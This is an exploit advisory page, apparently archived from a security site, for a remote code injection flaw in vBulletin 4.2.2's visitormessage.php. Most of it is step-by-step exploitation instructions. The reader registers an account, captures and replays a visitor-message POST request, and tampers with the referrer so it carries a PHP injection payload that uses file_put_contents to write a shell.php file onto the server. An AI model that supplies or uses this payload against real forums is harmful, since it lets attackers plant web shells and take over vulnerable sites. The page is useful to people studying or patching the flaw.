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vBulletin 4.2.2 Remote Code Injection

vBulletin 4.2.2 Remote Code Injection
Posted Mar 1, 2015
Authored by Net.Edit0r

vBulletin version 4.2.2 suffers from a remote code injection vulnerability.

tags | exploit, remote
MD5 | 8d9afe95986cecba6930ea94ef82c3be

vBulletin 4.2.2 Remote Code Injection

Change Mirror Download
#################################################################################################################
[+] Exploit Title: vBulletin 4.x.x 'visitormessage.php' Remote Code Injection Vulnerability
[+] Discovered By: Dariush Nasirpour (Net.Edit0r)
[+] My Homepage: black-hg.org / nasirpour.info
[+] Date: [2015 27 February]
[+] Vendor Homepage: vBulletin.com
[+] Tested on: [vBulletin 4.2.2]
[+] Greeting : Ali Razmjoo - Ehsan Nezami - Arash Shams - Ramin Shahkar and all my freinds ( #bhg )
#################################################################################################################
Remote Code Injection:
+++++++++++++++++++++++++
1) You Must Register In The vBulletin http://www.victim.com/register.php example:[blackhat]

2) go to your user profile example: [http://black-hg.org/cc/members/blackhat.html]

3) post something in visitor message and record post data with live http header

[example] : message_backup=&message=For-Test-Sample&wysiwyg=1&sbutton=%D8%A7%D8%B1%D8%B3%D8%A7%D9%84+%D9%BE%DB%8C%D8%BA%D8%A7%D9%85&fromquickcomment=1&s=&securitytoken=1425024074-5bcfb5b83d466416ed95e80021abee86063cdf6e&do=message&u=110&u2=&loggedinuser=110&parseurl=1&lastcomment=1425022046&allow_ajax_qc=1&fromconverse=

4- change message to anything "For-Test-Sample" => "ALEEEEEEEEX" [because vBulletin don't let you send same comment in a time]

[Now post this with hackbar:]

URL: http://black-hg.org/cc/visitormessage.php?do=message

[Post data]
message_backup=&message=ALEEEEEEEEX&wysiwyg=1&sbutton=%D8%A7%D8%B1%D8%B3%D8%A7%D9%84+%D9%BE%DB%8C%D8%BA%D8%A7%D9%85&fromquickcomment=1&s=&securitytoken=1425024074-5bcfb5b83d466416ed95e80021abee86063cdf6e&do=message&u=110&u2=&loggedinuser=110&parseurl=1&lastcomment=1425022046&allow_ajax_qc=1&fromconverse=

[And referrer data:]
PoC : http://black-hg.org/cc/members/blackhat.html?a=$stylevar[${${file_put_contents("shell.php","hacked[u can upload shell]")}}]"

5- Open hackbar and tamper it with taper data:
referrer data has been URL encoded by browser , you have to replace this again with tamper data: http://black-hg.org/cc/members/blackhat.html?a=$stylevar[${${file_put_contents("shell.php","hacked[you can upload shell]")}}]"

and submit request.

################################################################################################################
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